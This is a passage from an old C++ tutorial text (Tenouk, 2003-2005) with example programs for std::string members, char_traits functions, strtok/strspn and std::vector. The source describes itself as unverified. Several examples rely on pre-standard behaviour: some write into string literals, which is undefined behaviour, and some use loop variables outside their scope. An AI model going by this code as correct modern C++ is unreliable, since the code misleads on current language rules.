cout<<"str10 string is: "<<str10<<endl;
cout<<"cstr2 character is: "<<cstr2<<endl;
cout<<"Operation: str10.replace(2, 4, 5, cstr2)"<<endl;
str9 = str10.replace(2, 4, 5, cstr2);
cout<<"The new string is: "<<str9<<endl;
return 0;
}

--------------------------------------------------------------------------------------------------------------

//replace() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{

//replacing part of the string, delineated with iterators,


//with a string or C-string
string str11, str12;
string str13("TESTING1");
string str14("123");
const char* cstr3 = "AAA";

cout<<"str13 string is: "<<str13<<endl;


cout<<"str14 string is: "<<str14<<endl;
cout<<"cstr3 C-string is: "<<cstr3<<endl;
basic_string<char>::iterator Iter1, Iter2;

cout<<"Operation: str13.begin()"<<endl;
cout<<"Operation: str13.begin() + 3"<<endl;
cout<<"Operation: str13.replace(Iter1, Iter2, str14)"<<endl;

Iter1 = str13.begin();
Iter2 = str13.begin() + 3;

file:///C|/Tutorial.txt (396 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

str11 = str13.replace(Iter1, Iter2, str14);


cout<<"The new string is: "<<str11<<endl;
cout<<"Operation: str13.replace(Iter1, Iter2, cstr3)"<<endl;
str12 = str13.replace(Iter1, Iter2, cstr3);
cout<<"The new string is: "<<str12<<"\n\n";

//replacing part of the string delineated with iterators


//with a number of C-string characters
string str15;
string str16("TESTING2");
const char* cstr4 = "1234AA";
cout<<"str16 string is: "<<str16<<endl;
cout<<"cstr4 C-string is: "<<cstr4<<endl;
basic_string<char>::iterator Iter3, Iter4;

cout<<"Operation: str16.begin()"<<endl;
cout<<"Operation: str16.begin() + 4"<<endl;
cout<<"Operation: str16.replace(Iter3, Iter4, cstr4, 4)"<<endl;
Iter3 = str16.begin();
Iter4 = str16.begin() + 4;
str15 = str16.replace(Iter3, Iter4, cstr4, 4);
cout<<"The new string is: "<<str15<<"\n\n";

//replacing part of the string delineated with iterators


//with specified characters
string str17;
string str18("TESTING3");
char cstr5 = 'u';

cout<<"str18 string is: "<<str18<<endl;


cout<<"cstr5 character is: "<<cstr5<<endl;
basic_string<char>::iterator Iter5, Iter6;
Iter5 = str18.begin();
Iter6 = str18.begin() + 3;

str17 = str18.replace(Iter5, Iter6, 4, cstr5);


cout<<"The new string is: "<<str17<<"\n\n";

//replacing part of the operand string delineated with iterators


//with part of a parameter string delineated with iterators
string str19;
string str20("TESTING4"); //operand
string str21("1234"); //parameter
cout<<"str20 string is: "<<str20<<endl;
cout<<"str21 string is: "<<str21<<endl;
basic_string<char>::iterator Iter7, Iter8, Iter9, Iter10;

cout<<"Operation: str20.begin() + 1"<<endl;


cout<<"Operation: str20.begin() + 3"<<endl;
cout<<"Operation: str21.begin()"<<endl;
cout<<"Operation: str21.begin() + 2"<<endl;

Iter7 = str20.begin() + 1;
Iter8 = str20.begin() + 3;
Iter9 = str21.begin();
Iter10 = str21.begin() + 2;

file:///C|/Tutorial.txt (397 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"Operation: str20.replace(Iter7, Iter8, Iter9, Iter10)"<<endl;


str19 = str20.replace(Iter7, Iter8, Iter9, Iter10);
cout<<"The new string is: "<<str19<<endl;
return 0;
}

--------------------------------------------------------------------------------------------------------------

//reserve()
#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("Testing the reserve()");
cout<<"str1 string is: "<<str1<<endl;

basic_string <char>::size_type SizeStr1, Size1Str1;


SizeStr1 = str1.size();
basic_string <char>::size_type CapaStr1, Capa1Str1;
CapaStr1 = str1.capacity();

//Compare size & capacity of the original string


cout<<"The size of str1 string is: "<<SizeStr1<<endl;
cout<<"The capacity of str1 string is: "<<CapaStr1<<"\n\n";

//Compare size & capacity of the string


//with added capacity
cout<<"Operation: str1.reserve(20)"<<endl;
str1.reserve(20);
Size1Str1 = str1.size();
Capa1Str1 = str1.capacity();

cout<<"str1 with increased capacity is: "<<str1<<endl;


cout<<"The size of str1 string is: "<<Size1Str1<<endl;
cout<<"The increased capacity of str1 string is: "<<Capa1Str1<<"\n\n";

//Compare size & capacity of the string


//with downsized capacity. Without any parameter,
//it should shrink to fit the number of the characters
//currently in the string
cout<<"Operation: str1.reserve()"<<endl;
str1.reserve();
basic_string <char>::size_type Size2Str1;
basic_string <char>::size_type Capa2Str1;
Size2Str1 = str1.size();
Capa2Str1 = str1.capacity();

cout<<"str1 with downsized capacity is: "<<str1<<endl;


cout<<"The size of str1 string is: "<<Size2Str1<<endl;
cout<<"The reduced capacity of str1 string is: "<<Capa2Str1<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (398 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//resize() and size()


#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("Testing the resize()");
cout<<"str1 string is: "<<str1<<endl;

basic_string <char>::size_type SizeStr1;


SizeStr1 = str1.size();
basic_string <char>::size_type CapaStr1;
CapaStr1 = str1.capacity();

//Compare size & capacity of the original string


cout<<"The size of str1 string is: "<<SizeStr1<<endl;
cout<<"The capacity of str1 string is: "<<CapaStr1<<endl;

//Use resize() to increase size by 3 elements


//of the question mark
cout<<"\nOperation: str1.resize(str1.size() + 3, '?')"<<endl;
str1.resize(str1.size() + 3, '?');
cout<<"The resized str1 string is: "<<str1<<endl;

SizeStr1 = str1.size();
CapaStr1 = str1.capacity();

//Compare size & capacity of a string after resizing


cout<<"The size of resized str1 string is: "<<SizeStr1<<endl;
cout<<"The capacity of resized str1 string is: "<<CapaStr1<<endl;

//Use resize() to increase size by 10 elements:


cout<<"\nOperation: str1.resize(str1.size() + 10)"<<endl;
str1.resize(str1.size() + 10);
cout<<"The resized str1 string is: "<<str1<<endl;

SizeStr1 = str1.size();
CapaStr1 = str1.capacity();

//Compare size & capacity of a string after resizing


//note capacity increases automatically as required
cout<<"The increased size of str1 string is: "<<SizeStr1<<endl;
cout<<"The increased capacity of str1 string is: "<<CapaStr1<<endl;

//Use resize() to downsize by 20 elements:


cout<<"\nOperation: str1.resize(str1.size() - 20)"<<endl;
str1.resize(str1.size() - 20);
cout<<"The downsized str1 string is: "<<str1<<endl;

SizeStr1 = str1.size();
CapaStr1 = str1.capacity();

//Compare size & capacity of a string after downsizing


cout<<"The size of downsized str1 string is: "<<SizeStr1<<endl;

file:///C|/Tutorial.txt (399 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"The capacity of downsized str1 string is: "<<CapaStr1<<endl;


return 0;
}

----------------------------------------------------------------------------------------------------

//reversed find, rfind() part I


#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching for a single character in a string
string str1("Testing the rfind() 1..2..3");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

cout<<"Operation: str1.rfind('i', 18)"<<endl;


index1 = str1.rfind('i', 18);
if(index1 != npos)
cout<<"The index of the 1st 'i' found before\nthe 18th"
<<" position in str1 is: "<<index1<<endl;
else
cout<<"The character 'i' was not found in str1."<<endl;

cout<<"\nOperation: str1.rfind('z')"<<endl;
index2 = str1.rfind('z');
if(index2 != npos)
cout<<"The index of the 'z' found in str1 is: "<<index2<<endl;
else
cout<<"The character 'z' was not found in str1."<<endl;
cout<<endl;

//----------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing the rfind() 123");
cout<<"The str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;

const char *cstr1 = "find";


cout<<"Operation: str2.rfind(cstr1, 25)"<<endl;
index3 = str2.rfind(cstr1, 25);
if(index3 != npos)
cout<<"The index of the 1st element of 'find' "
<<"before\nthe 25th position in str2 is: "<<index3<<endl;
else
cout<<"The substring 'find' was not found in str2."<<endl;

const char *cstr2 = "nofind()";


cout<<"\nOperation: str2.rfind(cstr2, 25)"<<endl;
index4 = str2.rfind(cstr2, 25);
if(index4 != npos)
cout<<"The index of the 1st element of 'nofind()' "
<<"before\n the 25th position in str3 is: "<<index4<<endl;

file:///C|/Tutorial.txt (400 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
cout<<"The substring 'nofind()' was not found in str2."<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//reversed find, rfind() part II


#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching a string for a substring as specified by a C-string
string str3("Another test. Testing the rfind() the 123");
cout<<"The str3 string is: "<<str3<<endl;
static const basic_string <char>::size_type npos = -1;
basic_string <char>::size_type index5, index6;

const char *cstr3 = "test";


cout<<"Operation: str3.rfind(cstr3)"<<endl;
index5 = str3.rfind(cstr3);
if(index5 != npos)
cout<<"The index of the 1st element of 'test' "
<<"in str3 is: "<<index5<<endl;
else
cout<<"The substring 'test' was not found in str3."<<endl;

const char *cstr4 = "the";


cout<<"\nOperation: str3.rfind(cstr4, index5 + 20, 2)"<<endl;
index6 = str3.rfind(cstr4, index5 + 20, 2);
if(index6 != npos)
cout<<"The index of the next occurrence of 'the' in str3 begins at: "
<<index6<<endl;
else
cout<<"There is no next occurrence of 'the' in str3"<<endl;
cout<<endl;

//----------------------------------------------------------
//searching string for a substring as specified by a string
string str4("Final rfind() testing 1...2...3");
cout<<"The str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;

string str5("2...3");
cout<<"Operation: str4.rfind(str5, 30)"<<endl;
index7 = str4.rfind(str5, 30);
if(index7 != npos)
cout<<"The index of the 1st element of '1...2' "
<<"before\nthe 30th position in str4 is: "<<index7<<endl;
else
cout<<"The substring '1...2' was not found in str4\n"
<<"before the 30th position."<<endl;

string str6("...3");

file:///C|/Tutorial.txt (401 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: str4.rfind(str6)"<<endl;
index8 = str4.rfind(str6);
if(index8 != npos)
cout<<"The index of the 1st element of '...3' in str4 is: "<<index8<<endl;
else
cout<<"The substring '...3' was not found in str4."<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//substr()
#include <string>
#include <iostream>
using namespace std;

int main()
{

string str1("Testing the substr()");


cout<<"str1 string is: "<<str1<<endl;

cout<<"\nOperation: str1.substr(4, 7)"<<endl;


basic_string <char> str2 = str1.substr(4, 7);
cout<<"The substring str1 copied is: "<<str2<<endl;

cout<<"\nOperation: str1.substr()"<<endl;
basic_string <char> str3 = str1.substr();
cout<<"The default str3 substring is: "<<str3
<<"\nwhich is the original string."<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, assign()
#include <string>
#include <iostream>
using namespace std;

int main()
{
//assigning a character value to another character
char chr1 = 'P';
const char chr2 = 'Q';

cout<<"The initial characters (chr1, chr2) are: ("<<chr1<<","<<chr2<<")"<<endl;


cout<<"Operation: assign(chr1, chr2)"<<endl;
char_traits<char>::assign(chr1, chr2);
cout<<"The new characters (chr1, chr2) are: ("<<chr1<< ", "<<chr2<<")"<<endl;

//assigning character values to initial part of a string


char_traits<char>::char_type* str1 = "Testing assign()";
char_traits<char>::char_type* result;

file:///C|/Tutorial.txt (402 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nThe target string str1 is: "<<str1<<endl;


cout<<"Operation: assign(str1, 5, \'#\')"<<endl;
result = char_traits<char>::assign(str1, 5, '#');
cout<<"The result = "<<result<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, compare()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type* str1 = "TEST";
char_traits<char>::char_type* str2 = "RETEST";
char_traits<char>::char_type* str3 = "RETEST";
char_traits<char>::char_type* str4 = "TESTING";

cout<<"str1 string is: "<<str1<<endl;


cout<<"str2 string is: "<<str2<<endl;
cout<<"str3 string is: "<<str3<<endl;
cout<<"str4 string is: "<<str4<<endl;

cout<<"\nOperation: Comparison..."<<endl;
int comp1, comp2, comp3, comp4;
comp1 = char_traits<char>::compare(str1, str2, 2);
comp2 = char_traits<char>::compare(str2, str3, 3);
comp3 = char_traits<char>::compare(str3, str4, 4);
comp4 = char_traits<char>::compare(str4, str3, 4);
cout<<"compare(str1, str2, 2) = "<<comp1<<endl;
cout<<"compare(str2, str3, 3) = "<<comp2<<endl;
cout<<"compare(str3, str4, 4) = "<<comp3<<endl;
cout<<"compare(str4, str3, 4) = "<<comp4<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, copy()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type* str1 = "Testing the copy()";
char_traits<char>::char_type* str2 = "Fucking";
char_traits<char>::char_type* result;

cout<<"The str1, source string is: "<<str1<<endl;


cout<<"The str2, destination string is: "<<str2<<endl;
cout<<"\nOperation: copy(str1, str2, 7)"<<endl;
result = char_traits<char>::copy(str1, str2, 7);

file:///C|/Tutorial.txt (403 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"The result is: "<<result<<endl;


return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, eof()
#include <string>
#include <iostream>
using namespace std;

int main( )
{
char_traits <char>::int_type int0 = char_traits<char>::eof();
cout<<"The eof return is: "<<int0<<endl;

char_traits<char>::char_type chs = 'R';


char_traits<char>::int_type int1;
int1 =char_traits<char>::to_int_type(chs);
cout<<"char_type chs "<<chs<<" = to int_type "<<int1<<endl;

char_traits <char>::int_type int2 = char_traits<char>::eof();


cout<<"The eof return is: "<<int2<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, eq()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type chr1 = 'P';
char_traits<char>::char_type chr2 = 'Q';
char_traits<char>::char_type chr3 = 'P';

//Testing for equality


bool Var1 = char_traits<char>::eq(chr1, chr2);
cout<<"Operation: eq(chr1, chr2)"<<endl;
if(Var1)
cout<<"The character chr1 and chr2 is equal."<<endl;
else
cout<<"The character chr1 and chr2 is not equal."<<endl;

//alternatively...
cout<<"\nOperation: using \'==\' operator, chr1==chr3"<<endl;
if(chr1 == chr3)
cout<<"The character chr1 and chr3 is equal."<<endl;
else
cout<<"The character chr1 and chr3 is not equal."<<endl;
return 0;
}

file:///C|/Tutorial.txt (404 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

----------------------------------------------------------------------------------------------------

//char_traits, eq_int_type()
//and to_int_type()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type chr1 = 'P';
char_traits<char>::char_type chr2 = 'Q';
char_traits<char>::char_type chr3 = 'P';
char_traits<char>::char_type chr4 = 'r';

//char_type to int_type conversion


char_traits<char>::int_type int1, int2, int3, int4;
int1 = char_traits<char>::to_int_type(chr1);
int2 = char_traits<char>::to_int_type(chr2);
int3 = char_traits<char>::to_int_type(chr3);
int4 = char_traits<char>::to_int_type(chr4);

cout<<"Operation: to_int_type(character)"<<endl;
cout<<"The char_types and corresponding int_types are:\n";
cout<<chr1<<" = "<<int1<<endl;
cout<<chr2<<" = "<<int2<<endl;
cout<<chr4<<" = "<<int4<<endl;

//equality of int_type representations test


cout<<"\nOperation: eq_int_type(int1, int2)"<<endl;
bool var1 = char_traits<char>::eq_int_type(int1, int2);
if(var1)
cout<<"The int_type representation of characters chr1\n"
<<"and chr2 is equal."<<endl;
else
cout<<"The int_type representation of characters chr1\n"
<<"and chr2 is not equal."<<endl;

//alternatively...
cout<<"\nOperation: int1 == int3"<<endl;
if(int1 == int3)
cout<<"The int_type representation of characters chr1\n"
<<"and chr3 is equal."<<endl;
else
cout<<"The int_type representation of characters chr1\n"
<<"and chr3 is not equal."<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, find()
#include <string>
#include <iostream>
using namespace std;

file:///C|/Tutorial.txt (405 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main( )
{
const char* str = "Testing the char_traits, find()";
const char* result1;
cout<<"The string to be searched is:\n"<<str<<endl;

//Searching for a 'a' in the first 20 positions of string str


cout<<"\nOperation: find(str, 20, 'a')"<<endl;
result1 = char_traits<char>::find(str, 20, 'a');
cout<<"Searching character \'"<<*result1<<"\'."<<endl;
cout<<"The string beginning with the first occurrence\n"
<<"of the character 'a' is: "<<result1<<endl;

//When no match is found the NULL value is returned


const char* result2;
result2 = char_traits<char>::find(str, 20, 'z');
cout<<"\nOperation: find(str, 20, 'z')"<<endl;
if(result2 == NULL)
cout<<"The character 'z' was not found."<<endl;
else
cout<<"The result of the search is: "<<result2<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, length()
#include <string>
#include <iostream>
using namespace std;

int main()
{
const char* str1= "Testing 1...2...3";
cout<<"str1 C-string is: "<<str1<<endl;

size_t LenStr1;
cout<<"\nOperation: length(str1)"<<endl;
LenStr1 = char_traits<char>::length(str1);
cout<<"The length of str1 is: "<<unsigned int(LenStr1)<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, lt()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type chr1 = '1';
char_traits<char>::char_type chr2 = 'q';
char_traits<char>::char_type chr3 = 'R';

file:///C|/Tutorial.txt (406 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

char_traits<char>::int_type int1, int2, int3;


int1 = char_traits<char>::to_int_type(chr1);
int2 = char_traits<char>::to_int_type(chr2);
int3 = char_traits<char>::to_int_type(chr3);

//char_type to int_type conversion, for testing


cout<<"chr1 = "<<chr1<<", chr2 = "<<chr2<<", chr3 = "<<chr3<<endl;
cout<<"chr1 = "<<int1<<", chr2 = "<<int2<<", chr3 = "<<int3<<endl;

//Testing for less than


cout<<"\nOperation: lt(chr1, chr2)"<<endl;
bool var1 = char_traits<char>::lt(chr1, chr2);
if(var1)
cout<<"The chr1 is less than "
<<"the chr2."<<endl;
else
cout<<"The chr1 is not less "
<<"than the chr2."<<endl;
//alternatively...
cout<<"\nOperation: chr2 < chr3"<<endl;
if(chr2 < chr3)
cout<<"The chr2 is less than "
<<"the chr3."<<endl;
else
cout<<"The chr2 is not less "
<<"than the chr3."<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, move(), find()


#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type str1[25] = "The Hell Boy";
char_traits<char>::char_type str2[25] = "Something To ponder";
char_traits<char>::char_type *result1;

cout<<"The source str1 string is: "<<str1<<endl;


cout<<"The destination str2 string is: "<<str2<<endl;
result1 = char_traits<char>::move(str2, str1, 10);
cout<<"\nOperation: move(str2, str1, 10)"<<endl;
cout<<"The result1 = "<<result1<<endl;

//When source and destination overlap


char_traits<char>::char_type str3[30] = "Testing the move()";
char_traits<char>::char_type *result2;
cout << "The source/destination str3 string is: "<<str3<<endl;

cout<<"\nOperation: str4 = find(str3, 12, 'h')"<<endl;


const char *str4 = char_traits<char>::find(str3, 12, 'h');
cout<<"Operation: move(str3, str4, 9)"<<endl;

file:///C|/Tutorial.txt (407 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

result2 = char_traits<char>::move(str3, str4, 9);


cout<<"The result2 = "<<result2<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, not_eof()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type chr1 = 'w';
char_traits<char>::int_type int1;
int1 = char_traits<char>::to_int_type(chr1);
cout<<"Operation: to_int_type(chr1)"<<endl;
cout<<"The char_type "<<chr1<<" = int_type "<<int1<<endl;

//EOF
char_traits <char>::int_type int2 = char_traits<char>::eof();
cout<<"\nOperation: char_traits<char>::eof()"<<endl;
cout<<"The eof return is: "<<int2<<endl;

//Testing for EOF


char_traits <char>::int_type eofTest1, eofTest2;
eofTest1 = char_traits<char>::not_eof(int1);
cout<<"\nOperation: not_eof(int1)"<<endl;
if(!eofTest1)
cout<<"The eofTest1 indicates "<<chr1<<" is an EOF character."<<endl;
else
cout<<"The eofTest1 returns: "<<eofTest1
<<", which is the character: "
<<char_traits<char>::to_char_type(eofTest1)<<endl;

eofTest2 = char_traits<char>::not_eof(int2);
cout<<"\nOperation: not_eof(int2)"<<endl;
if(!eofTest2)
cout<<"The eofTest2 indicates "<<chr1<<" is an EOF character."<<endl;
else
cout<<"The eofTest1 returns: "<<eofTest2
<<", which is the character "
<<char_traits<char>::to_char_type(eofTest2)<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//char_traits, to_char_type(),
//to_int_type and eq()
#include <string>
#include <iostream>
using namespace std;

file:///C|/Tutorial.txt (408 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
char_traits<char>::char_type chr1 = '3';
char_traits<char>::char_type chr2 = 'C';
char_traits<char>::char_type chr3 = '#';

cout<<"chr1 = "<<chr1<<", chr2 = "<<chr2<<", chr3 = "<<chr3<<endl;


//Converting from char_type to int_type
char_traits<char>::int_type int1, int2, int3;
int1 =char_traits<char>::to_int_type(chr1);
int2 =char_traits<char>::to_int_type(chr2);
int3 =char_traits<char>::to_int_type(chr3);

cout<<"Operation: to_int_type(character)"<<endl;
cout<<"The char_types and corresponding int_types are:\n";
cout<<chr1<<" ==> "<<int1<<endl;
cout<<chr2<<" ==> "<<int2<<endl;
cout<<chr3<<" ==> "<<int3<<endl;

//int_type to char_type re conversion


char_traits<char>::char_type rev_chr1;
rev_chr1 = char_traits<char>::to_char_type(int1);
char_traits<char>::char_type rev_chr2;
rev_chr2 = char_traits<char>::to_char_type(int2);

cout<<"\nOperation: to_char_type(integer)"<<endl;
cout<<"The inverse conversion are:\n";
cout<<int1<<" ==> "<<rev_chr1<<endl;
cout<<int2<<" ==> "<<rev_chr2<<endl;

//test for conversions, they are just inverse operations


cout<<"\nOperation: eq(rev_chr1, chr1)"<<endl;
bool var1 = char_traits<char>::eq(rev_chr1, chr1);
if(var1)
cout<<"The rev_chr1 is equal to the original chr1."<<endl;
else
cout<<"The rev_chr1 is not equal to the original chr1."<<endl;

//alternatively...
if(rev_chr2 == chr2)
cout<<"The rev_chr2 is equal to the original chr2."<<endl;
else
cout<<"The rev_chr2 is not equal to the original chr2."<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//strtok()
//using the C++ wrappers
#include <cstdio>
#include <string>
using namespace std;

int main()
{

file:///C|/Tutorial.txt (409 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

char string[] = "Is this sentence has 6 tokens?";


char *tokenPtr;

printf(" Using strtok()\n");


printf(" --------------\n");

printf("The string to be tokenized is:\n%s\n", string);


printf("\nThe tokens are: \n\n");

tokenPtr = strtok(string, " ");


while (tokenPtr != NULL)
{
printf("%s\n", tokenPtr);
tokenPtr = strtok(NULL, " ");
}
return 0;
}

----------------------------------------------------------------------------------------------------

//Using strspn()
#include <cstdio>
#include <string>
using namespace std;

int main()
{
char *string1 = "The initial value is 3.14159";
char *string2 = "aehilsTuv";

printf(" Using strspn()\n");


printf(" ---------------\n");

printf("string1 = %s\n", string1);


printf("string2 = %s\n", string2);
printf("\nThe length of the initial segment of string1\n");
printf("containing only characters from string2 is = %u\n", strspn(string1, string2));
return 0;
}

------------------------------------------G++----------------------------------------------------------

//**********string2.cpp************
//insert() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//inserting a C-string at a given position
basic_string <char> str1("e insert() testing");
const char *cstr1 = "Th";

cout<<"str1 = "<<str1<<endl;

file:///C|/Tutorial.txt (410 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"cstr1 = "<<cstr1<<endl;
str1.insert(0, cstr1);
cout<<"Operation: str1.insert(0, cstr1)"<<endl;
cout<<"Inserting a C-string at position 0 is:\n"<<str1<<endl;
cout<<endl;

//inserting a C-string at a given position for a specified number of elements


basic_string <char> str2("Test");
const char *cstr2 = "ing an insert()";

cout<<"str2 = "<<str2<<endl;
cout<<"cstr2 = "<<cstr2<<endl;
str2.insert(4, cstr2, 15);
cout<<"Operation: str2.insert(4, cstr2, 15)"<<endl;
cout<<"Inserting a C-string at the end is:\n"<<str2<<endl;
cout<<endl;

//inserting a string at a given position


basic_string <char> str3(" the insert()");
string str4("Testing");

cout<<"str3 = "<<str3<<endl;
cout<<"str4 = "<<str4<<endl;
str3.insert(0, str4);
cout<<"Operation: str3.insert(0, str4)"<<endl;
cout<<"Inserting string at position 0 is:\n"<<str3<<endl;
cout<<endl;

//inserting part of a string at a given position


basic_string <char> str5("Testing ");
string str6(" the insert()");

cout<<"str5 = "<<str5<<endl;
cout<<"str6 = "<<str6<<endl;
str5.insert(7, str6, 4, 9);
cout<<"Operation: str5.insert(7, str6, 4, 9)"<<endl;
cout<<"Inserting part of a string at position 9 is:\n"<<str5<<endl;
return 0;
}

============================MODULE27=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

file:///C|/Tutorial.txt (411 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

Originally programs compiled using Borland C++. Examples compiled using


g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//vector example
#include <iostream>
//vector header file
#include <vector>
using namespace std;

int main()
{
//vector container for integer elements
//declaration
vector<int> coll;

//append elements with values 1 to 10


for(int i=1; i<=10; ++i)
coll.push_back(i);

//print all elements separated by a space


for(i=0; i<coll.size(); ++i)
cout<<coll[i]<<' ';

file:///C|/Tutorial.txt (412 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<endl;
return 0;
}

---------------------------------------------------------------------------
//vector, operators
#include <vector>
#include <iostream>
using namespace std;

int main()
{

//vector container for integer elements


//declaration
vector<int> vec1, vec2, vec3;

cout<<"vec1 data: ";


//append elements with values 1 to 10
for(int i=1; i<=10; ++i)
vec1.push_back(i);
//print all elements separated by a space
for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"vec2 data: ";


//append elements with values 1 to 10
for(i=11; i<=20; ++i)
vec2.push_back(i);
//print all elements separated by a space
for(i=0; i<vec2.size(); ++i)
cout<<vec2[i]<<' ';
cout<<endl;

cout<<"vec3 data: ";


//append elements with values 1 to 10
for(i=1; i<=10; ++i)
vec3.push_back(i);
//print all elements separated by a space
for(i=0; i<vec3.size(); ++i)
cout<<vec3[i]<<' ';
cout<<"\n\n";

cout<<"Operation: vec1 != vec2"<<endl;


if(vec1 != vec2)
cout<<"vec1 and vec2 is not equal."<<endl;
else
cout<<"vec1 and vec2 is equal."<<endl;

cout<<"\nOperation: vec1 == vec3"<<endl;


if(vec1 == vec3)
cout<<"vec1 and vec3 is equal."<<endl;
else
cout<<"vec1 and vec3 is not equal."<<endl;

file:///C|/Tutorial.txt (413 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: vec1 < vec2"<<endl;


if(vec1 < vec2)
cout<<"vec1 less than vec2."<<endl;
else
cout<<"vec1 is not less than vec2."<<endl;

cout<<"\nOperation: vec2 > vec1"<<endl;


if(vec2 > vec1)
cout<<"vec2 greater than vec1."<<endl;
else
cout<<"vec2 is not greater than vec1."<<endl;

cout<<"\nOperation: vec2 >= vec1"<<endl;


if(vec2 >= vec1)
cout<<"vec2 greater or equal than vec1."<<endl;
else
cout<<"vec2 is not greater or equal than vec1."<<endl;

cout<<"\nOperation: vec1 <= vec2"<<endl;


if(vec1 <= vec2)
cout<<"vec1 less or equal than vec2."<<endl;
else
cout<<"vec1 is not less or equal than vec2."<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector constructors
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int>::iterator vec0Iter, vec1Iter, vec2Iter, vec3Iter, vec4Iter, vec5Iter;

//Create an empty vector vec0


vector <int> vec0;

//Create a vector vec1 with 10 elements of default value 0


vector <int> vec1(10);

//Create a vector vec2 with 7 elements of value 13


vector <int> vec2(7, 13);

//Create a vector vec3 with 5 elements of value 3 and with the allocator
//of vector vec2
vector <int> vec3(5, 3, vec2.get_allocator());

//vector vec4, a copy of vector vec2


vector <int> vec4(vec2);

//Create a vector vec5 by copying the range of vec4[_First, _Last)


vector <int> vec5(vec4.begin() + 1, vec4.begin() + 3);

file:///C|/Tutorial.txt (414 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"Operation: vector <int> vec0\n";


cout<<"vec0 data: ";
for(vec0Iter = vec0.begin(); vec0Iter != vec0.end(); vec0Iter++)
cout<<" "<<*vec0Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec1(10)\n";


cout<<"vec1 data: ";
for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<" "<<*vec1Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec2(7, 13)\n";


cout<<"vec2 data: ";
